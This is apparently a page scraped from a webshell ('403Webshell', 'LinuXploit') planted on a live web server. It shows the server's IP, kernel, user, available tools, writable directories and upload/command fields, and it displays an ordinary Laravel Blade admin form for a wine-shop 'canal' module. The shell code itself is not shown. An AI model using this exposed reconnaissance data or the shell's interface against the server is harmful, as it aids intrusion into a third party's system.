403Webshell
Server IP : 54.233.248.239  /  Your IP : 172.28.1.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/app/Modules/Canal/Views/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/app/Modules/Canal/Views/admin/form-canal-ajax.blade.php
@extends('layouts.admins.modal')

@section('content')

    <section class="content">
        <div class="row">
            <div class="col-lg-12">
                <div class="box">
                    <!-- /.box-header -->
                    <div class="box-body">
                        <ul class="nav nav-pills nav-justified">
                            <li class="active"><a data-toggle="pill" href="#info-tab">Informações</a></li>
                            <li class=""><a data-toggle="pill" href="#imagem-tab">Imagem</a></li>

                        </ul>
                        <div class="spacer"></div>
                        <form id="mainForm" class="form-horizontal" role="form" method="POST" action="{{ url('/admin/canal/save-ajax') }}" enctype="multipart/form-data">
                            <div class="tab-content">

                                <div id="info-tab" class="tab-pane fade in active">
                                    {{ csrf_field() }}
                                    <?php if($modulo->imagem){ ?>
                                    <input type="hidden" name="thumbnail_principal" value="<?php echo (isset($canal)) ? $canal->thumbnail_principal : ''; ?>">
                                    <?php } ?>
                                    <?php if(isset($canal)){ ?>
                                    <input type="hidden" name="id" value="<?php echo $canal->id; ?>"/>
                                    <?php } ?>
                                    <?php foreach($fields as $field){ ?>
                                    <?php if(get_class($field) == 'App\CampoModulo'){ ?>
                                    <?php $campo = $field->nome; ?>
                                    <div class="form-group">
                                        <label for="<?php echo $field->nome; ?>" class="col-md-3 control-label"><?php echo $field->label; ?> <?php echo ($field->required) ? '*' : ''; ?></label>
                                        <?php if($field->tipo_campo == 'INT'){ ?>
                                        <div class="col-md-7">
                                            <input id="<?php echo $field->nome; ?>" <?php echo ($field->required) ? 'required' : ''; ?> type="number" step="1" class="form-control" value="<?php echo (old($campo)) ? old($campo) : ((isset($canal)) ? $canal->$campo : $field->valor_padrao); ?>" name="<?php echo $field->nome; ?>" />
                                        </div>
                                        <?php } ?>
                                        <?php if($field->tipo_campo == 'I'){ ?>
                                        <div class="col-md-7">
                                            <input id="<?php echo $field->nome; ?>" <?php echo ($field->required) ? 'required' : ''; ?> type="text" class="form-control" value="<?php echo (old($campo)) ? old($campo) : ((isset($canal)) ? $canal->$campo : $field->valor_padrao); ?>" name="<?php echo $field->nome; ?>" />
                                        </div>
                                        <?php } ?>
                                        <?php if($field->tipo_campo == 'N'){ ?>
                                        <div class="col-md-7">
                                            <input id="<?php echo $field->nome; ?>" <?php echo ($field->required) ? 'required' : ''; ?> type="number" class="form-control" value="<?php echo (old($campo)) ? old($campo) : ((isset($canal)) ? $canal->$campo : $field->valor_padrao); ?>" name="<?php echo $field->nome; ?>" />
                                        </div>
                                        <?php } ?>
                                        <?php if($field->tipo_campo == 'T'){ ?>
                                        <div class="col-md-7">
                                            <textarea id="<?php echo $field->nome; ?>" <?php echo ($field->required) ? 'required' : ''; ?> class="form-control tinymce" name="<?php echo $field->nome; ?>"><?php echo (old($campo)) ? old($campo) : ((isset($canal)) ? $canal->$campo : $field->valor_padrao); ?></textarea>
                                        </div>
                                        <?php } ?>
                                        <?php if($field->tipo_campo == 'D'){ ?>
                                        <div class="col-md-7">
                                            <input id="<?php echo $field->nome; ?>" <?php echo ($field->required) ? 'required' : ''; ?> type="date" class="form-control" value="<?php echo (old($campo)) ? old($campo) : ((isset($canal)) ? $canal->$campo : $field->valor_padrao); ?>" name="<?php echo $field->nome; ?>" />
                                        </div>
                                        <?php } ?>
                                        <?php if($field->tipo_campo == 'DT'){ ?>
                                        <div class="col-md-7">
                                            <input id="<?php echo $field->nome; ?>" <?php echo ($field->required) ? 'required' : ''; ?> type="datetime-local" class="form-control" value="<?php echo (old($campo)) ? old($campo) : ((isset($canal)) ? str_replace(' ','T',$canal->$campo) : $field->valor_padrao); ?>" name="<?php echo $field->nome; ?>" />
                                        </div>
                                        <?php } ?>
                                        <?php if($field->tipo_campo == 'TIME'){ ?>
                                        <div class="col-md-7">
                                            <input id="<?php echo $field->nome; ?>" <?php echo ($field->required) ? 'required' : ''; ?> type="time" class="form-control" value="<?php echo (old($campo)) ? old($campo) : ((isset($canal)) ? $canal->$campo : $field->valor_padrao); ?>" name="<?php echo $field->nome; ?>" />
                                        </div>
                                        <?php } ?>
                                        <?php if($field->tipo_campo == 'S'){ ?>
                                        <div class="col-md-7">
                                            <select id="<?php echo $field->nome; ?>" <?php echo ($field->required) ? 'required' : ''; ?> class="form-control" name="<?php echo $field->nome; ?>">
                                                <option <?php echo (isset($canal) && $canal->$campo == 1) ? 'selected' : ''; ?> value="1">Sim</option>
                                                <option <?php echo (isset($canal) && $canal->$campo == 0) ? 'selected' : ''; ?> value="0">Não</option>
                                            </select>
                                        </div>
                                        <?php } ?>
                                        <?php if($field->tipo_campo == 'E'){ ?>
                                        <div class="col-md-7">
                                            <select id="<?php echo $field->nome; ?>" <?php echo ($field->required) ? 'required' : ''; ?> class="form-control" name="<?php echo $field->nome; ?>">
                                                <?php foreach ($field->options as $campoOption): ?>
                                                <option <?php echo (isset($canal) && $canal->$campo == $campoOption->chave) ? 'selected' : ''; ?> value="<?php echo $campoOption->chave; ?>"><?php echo $campoOption->valor; ?></option>
                                                <?php endforeach; ?>
                                            </select>
                                        </div>
                                        <?php } ?>
                                        <?php if($field->tipo_campo == 'SI'){ ?>
                                        <div class="col-md-5">
                                            <?php $icons = explode(',',file_get_contents('fonts/icons-font-awesome.txt')); ?>
                                            <select id="<?php echo $field->nome; ?>" <?php echo ($field->required) ? 'required' : ''; ?> class="form-control select2 select-icone" name="<?php echo $field->nome; ?>">
                                                <?php foreach ($icons as $icone): ?>
                                                <option <?php echo (isset($canal) && $icone == $canal->$campo) ? 'selected' : ''; ?> value="<?php echo $icone; ?>"><?php echo $icone; ?></option>
                                                <?php endforeach; ?>
                                            </select>
                                        </div>
                                        <div class="icone-viewer">
                                            <i class="fa fa-3x"></i>
                                        </div>
                                        <?php } ?>
                                    </div>
                                    <?php }else{ ?>
                                    <?php $campo = $field->nome; ?>
                                    <div class="form-group">
                                        <label for="<?php echo $field->nome; ?>" class="col-md-3 control-label"><?php echo $field->label; ?> *</label>
                                        <div class="col-md-7">
                                            <select id="<?php echo $field->nome; ?>" required class="form-control select2" name="<?php echo $field->nome; ?>">
                                                <?php $nomeVariavel = 'array_'.$field->nome; ?>
                                                <?php foreach ($$nomeVariavel as $option): ?>
                                                <?php $campoNome = $field->campoRelacionado->nome; ?>
                                                <option <?php echo (isset($canal) && $canal->$campo == $option->id) ? 'selected' : ''; ?> value="<?php echo $option->id; ?>"><?php echo $option->$campoNome; ?></option>
                                                <?php endforeach; ?>
                                            </select>
                                        </div>
                                    </div>
                                    <?php } ?>
                                    <?php } ?>
                                    <div class="form-group">
                                        <label for="responsavel_id" class="col-md-3 control-label">Responsável</label>
                                        <div class="col-md-7">
                                            <select id="responsavel_id" required class="form-control" name="responsavel_id">
                                                <option value=""></option>
                                                <?php foreach ($responsaveis as $option): ?>
                                                <option <?php echo (isset($canal) && $canal->responsavel_id == $option->id) ? 'selected' : ''; ?> value="<?php echo $option->id; ?>"><?php echo $option->first_name; ?> <?php echo $option->last_name; ?></option>
                                                <?php endforeach; ?>
                                            </select>
                                        </div>
                                    </div>
                                    <div class="form-group">
                                        <label for="modelo_faturamento_id" class="col-md-3 control-label">Modelo Faturamento</label>
                                        <div class="col-md-7">
                                            <select id="modelo_faturamento_id" required class="form-control" name="modelo_faturamento_id">
                                                <option value=""></option>
                                                <?php foreach ($modelos as $option): ?>
                                                <option <?php echo (isset($canal) && $canal->modelo_faturamento_id == $option->id) ? 'selected' : ''; ?> value="<?php echo $option->id; ?>"><?php echo $option->nome; ?></option>
                                                <?php endforeach; ?>
                                            </select>
                                        </div>
                                    </div>
                                    <div class="form-group">
                                        <label for="total_custo" class="col-md-3 control-label">Total Custo</label>
                                        <div class="col-md-7">
                                            <input id="total_custo" type="number" class="form-control" value="<?php echo ((isset($canal)) ? $canal->total_custo : ''); ?>" name="total_custo" />
                                        </div>
                                    </div>
                                    <div class="form-group">
                                        <label for="ativar_url" class="col-md-3 control-label">Ativar URL</label>

                                        <div class="col-md-7">
                                            <select class="form-control" name="ativar_url" id="ativar_url">
                                                <option <?php echo (isset($canal) && $canal->ativar_url != 1) ? 'selected' : ''; ?> value="0">Não</option>
                                                <option <?php echo (isset($canal) && $canal->ativar_url == 1) ? 'selected' : ''; ?> value="1">Sim</option>
                                            </select>
                                            <p style="color: #333">Ao Ativar URL o canal não é exibido na Home do Site e Menu, apena via URL do Canal</p>
                                        </div>
                                    </div>
                                    <div class="form-group">
                                        <label for="senha_acesso" class="col-md-3 control-label">Senha de Acesso</label>
                                        <div class="col-md-7">
                                            <div class="input-group">
                                                <input id="senha_acesso" type="text" class="form-control" value="<?php echo (isset($canal) ? $canal->senha_acesso : ''); ?>" name="senha_acesso" />
                                                <span class="input-group-addon"><a href="javascript:void(0)" title="Copiar" onclick="copySenhaAcesso()"><i class="fa fa-clipboard"></i></a></span>
                                            </div>
                                        </div>
                                    </div>
                                    @if(isset($canal))
                                        <div class="form-group">
                                            <label for="url_acesso" class="col-md-3 control-label">URL Canal</label>
                                            <div class="col-md-7">
                                                <div class="input-group">
                                                    <input id="url_acesso" type="text" class="form-control" value="<?php echo url(tipo_canal($canal->tipo)."/{$canal->slug}") . (!empty($canal->senha_acesso) ? "?key={$canal->senha_acesso}" : ""); ?>" name="url_acesso" readonly="readonly" />
                                                    <span class="input-group-addon"><a href="javascript:void(0)" title="Copiar" onclick="copyUrlCanal()"><i class="fa fa-clipboard"></i></a></span>
                                                </div>
                                            </div>
                                        </div>
                                    @endif
                                    <div class="form-group">
                                        <label for="url_video" class="col-md-3 control-label">URL Vídeo Canal</label>
                                        <div class="col-md-7">
                                            <div class="input-group">
                                                <input id="url_video" type="text" class="form-control" value="<?php echo ((isset($canal)) ? $canal->url_video : ''); ?>" name="url_video" />
                                                <p style="color: #999; padding-right: 100px;">Ex.: https://www.youtube.com/embed/jSnLOoGjQ80</p>
                                            </div>
                                        </div>
                                    </div>
                                    <div class="form-group">
                                        <label for="listar_ppr" class="col-md-3 control-label">Listar PPR</label>

                                        <div class="col-md-7">
                                            <select class="form-control" name="listar_ppr" id="listar_ppr">
                                                <option <?php echo (isset($canal) && $canal->listar_ppr == 1) ? 'selected' : ''; ?> value="1">Sim</option>
                                                <option <?php echo (isset($canal) && $canal->listar_ppr != 1) ? 'selected' : ''; ?> value="0">Não</option>
                                            </select>
                                        </div>
                                    </div>
                                    <div class="form-group">
                                        <label for="exibir_bloco_home" class="col-md-3 control-label">Exibir Bloco Home</label>

                                        <div class="col-md-7">
                                            <select class="form-control" name="exibir_bloco_home" id="exibir_bloco_home">
                                                <option <?php echo (isset($canal) && $canal->exibir_bloco_home == 1) ? 'selected' : ''; ?> value="1">Sim</option>
                                                <option <?php echo (isset($canal) && $canal->exibir_bloco_home != 1) ? 'selected' : ''; ?> value="0">Não</option>
                                            </select>
                                        </div>
                                    </div>
                                    <div class="form-group">
                                        <label for="exibir_menu_home" class="col-md-3 control-label">Exibir Menu Home</label>
                                        <div class="col-md-7">
                                            <select class="form-control" name="exibir_menu_home" id="exibir_menu_home">
                                                <option <?php echo (isset($canal) && $canal->exibir_menu_home == 1) ? 'selected' : ''; ?> value="1">Sim</option>
                                                <option <?php echo (isset($canal) && $canal->exibir_menu_home != 1) ? 'selected' : ''; ?> value="0">Não</option>
                                            </select>
                                        </div>
                                    </div>
                                    <div class="form-group">
                                        <label for="exibir_unidades_restantes" class="col-md-3 control-label">Exibir Unidades Restantes</label>

                                        <div class="col-md-7">
                                            <select class="form-control" name="exibir_unidades_restantes" id="exibir_unidades_restantes">
                                                <option <?php echo (isset($canal) && $canal->exibir_unidades_restantes == 1) ? 'selected' : ''; ?> value="1">Sim</option>
                                                <option <?php echo (isset($canal) && $canal->exibir_unidades_restantes != 1) ? 'selected' : ''; ?> value="0">Não</option>
                                            </select>
                                        </div>
                                    </div>
                                    <div class="form-group">
                                        <label for="acesso_autenticado" class="col-md-3 control-label">Acesso Autenticado</label>

                                        <div class="col-md-7">
                                            <select class="form-control" name="acesso_autenticado" id="acesso_autenticado">
                                                <option <?php echo (isset($canal) && $canal->acesso_autenticado == 1) ? 'selected' : ''; ?> value="1">Sim</option>
                                                <option <?php echo (isset($canal) && $canal->acesso_autenticado != 1) ? 'selected' : ''; ?> value="0">Não</option>
                                            </select>
                                        </div>
                                    </div>
                                    <div class="form-group">
                                        <label for="fast_pass" class="col-md-3 control-label">Fast Pass</label>

                                        <div class="col-md-7">
                                            <select class="form-control" name="fast_pass" id="fast_pass">
                                                <option <?php echo (isset($canal) && $canal->fast_pass == 1) ? 'selected' : ''; ?> value="1">Sim</option>
                                                <option <?php echo (isset($canal) && $canal->fast_pass != 1) ? 'selected' : ''; ?> value="0">Não</option>
                                            </select>
                                        </div>
                                    </div>
                                    <div class="form-group">
                                        <label for="permitir_cashback" class="col-md-3 control-label">Permitir Cashback</label>

                                        <div class="col-md-7">
                                            <select class="form-control" name="permitir_cashback" id="permitir_cashback">
                                                <option <?php echo (isset($canal) && $canal->permitir_cashback != 1) ? 'selected' : ''; ?> value="0">Não</option>
                                                <option <?php echo (isset($canal) && $canal->permitir_cashback == 1) ? 'selected' : ''; ?> value="1">Sim</option>
                                            </select>
                                        </div>
                                    </div>
                                    <div class="form-group">
                                        <label for="campanha_mailchimp" class="col-md-3 control-label">Campanha Mailchimp</label>
                                        <div class="col-md-7">
                                            <div class="input-group">
                                                <select id="mailchimp_campaign_id" class="form-control select2" name="mailchimp_campaign_id">
                                                    <option value=""></option>
                                                    <?php foreach ($campanhas as $option): ?>
                                                    <option <?php echo (isset($canal) && $canal->mailchimp_campaign_id == $option->id) ? 'selected' : ''; ?> value="<?php echo $option->id; ?>"><?php echo $option->title; ?> (<?php echo date('d/m/Y H:i', strtotime($option->send_time)); ?>)</option>
                                                    <?php endforeach; ?>
                                                </select>
                                            </div>
                                        </div>
                                    </div>
                                    <div class="form-group">
                                        <label for="permitir_oferta_confraria" class="col-md-3 control-label">Permitir Ofertas Confraria</label>

                                        <div class="col-md-7">
                                            <select class="form-control" name="permitir_oferta_confraria" id="permitir_oferta_confraria">
                                                <option <?php echo (isset($canal) && $canal->permitir_oferta_confraria != 1) ? 'selected' : ''; ?> value="0">Não</option>
                                                <option <?php echo (isset($canal) && $canal->permitir_oferta_confraria == 1) ? 'selected' : ''; ?> value="1">Sim</option>
                                            </select>
                                            <p style="color: #999; margin-left: 0px;">Libera ofertas para permitir exibir na Confraria</p>
                                        </div>
                                    </div>
                                </div>

                                <div id="imagem-tab" class="tab-pane fade in">
                                    <input type="file" id="image_canal" name="image_canal" style="display: none"/>
                                    <div id="img-thumb-preview">
                                        <img id="img-thumb" style="height: 500px;" class="user size-lg img-thumbnail img-responsive" src="<?php echo (isset($canal) && $canal->thumbnail_principal != '') ? get_file_s3($canal->thumbnail_principal, 'canal') : 'http://placehold.it/300x100'; ?>">
                                    </div>
                                    <button type="button" id="alterar_imagem_canal" class="btn btn-default margin-t-5"><i class="fa fa-upload"></i>Alterar imagem</button>
                                </div>
                            </div>
                        </form>
                    </div>
                </div>
                <!-- /.box-body -->
                <div class="box-footer">
                    <?php if(isset($canal) && $current_role->hasAccess($current_module->nome_tabela.'.update') || !isset($canal) && $current_role->hasAccess($current_module->nome_tabela.'.create')){ ?>
                    <div class="text-center">
                        <button type="submit" class="btn btn-primary">
                            <i class="fa fa-btn fa-pencil-alt"></i> Salvar
                        </button>
                    </div>
                    <?php } ?>
                </div>
            </div>
            <!-- /.box -->
        </div>
        </div>
    </section>

    <div id="modal-evento" class="modal fade">
        <form method="/" id="formEvento" type="POST">
            <div class="modal-dialog">
                <div class="modal-content">
                    <div class="modal-header">
                        <button type="button" class="close" data-dismiss="modal" aria-hidden="true">&times;</button>
                        <h4 id="time-label"></h4>
                    </div>

                    <div class="modal-body" id="conteudo-modal-evento">

                    </div>
                    <div class="modal-footer">
                        <button type="button" class="btn btn-default" data-dismiss="modal">Fechar</button>
                    </div>
                </div>
            </div>
        </form>
    </div>


    <script type="text/javascript">

        function copyUrlCanal(){

            /* Get the text field */
            var copyText = document.getElementById("url_acesso");

            /* Select the text field */
            copyText.select();
            copyText.setSelectionRange(0, 99999); /*For mobile devices*/

            /* Copy the text inside the text field */
            document.execCommand("copy");

            /* Alert the copied text */
            alertUtil.alertSuccess("URL Copiada: " + copyText.value);
        }

        function copySenhaAcesso(){
            /* Get the text field */
            var copyText = document.getElementById("senha_acesso");

            /* Select the text field */
            copyText.select();
            copyText.setSelectionRange(0, 99999); /*For mobile devices*/

            /* Copy the text inside the text field */
            document.execCommand("copy");

            /* Alert the copied text */
            alertUtil.alertSuccess("Senha copiada: " + copyText.value);
        }



        $(document).ready(function(){

            @if(isset($canal))
            $('#senha_acesso').change(function(){

                var senha_acesso = $(this).val();
                var urlAcesso    = '<?php echo url(tipo_canal($canal->tipo)."/{$canal->slug}"); ?>';
                if(senha_acesso != ''){
                    urlAcesso += "?key=" + senha_acesso;
                }

                $('#url_acesso').val(urlAcesso);

            });
            @endif

            $(document).on('click', '#alterar_imagem_canal', function(){
                $('#image_canal').click();
            });

            $('#image_canal').on('change', function() {
                let file = this.files[0];
                if (file) {
                    let reader = new FileReader();
                    reader.onload = function(e) {
                        $('#img-thumb').attr('src', e.target.result);
                    }
                    reader.readAsDataURL(file);
                }
            });

        });

    </script>
@endsection

Youez - 2016 - github.com/yon3zu
LinuXploit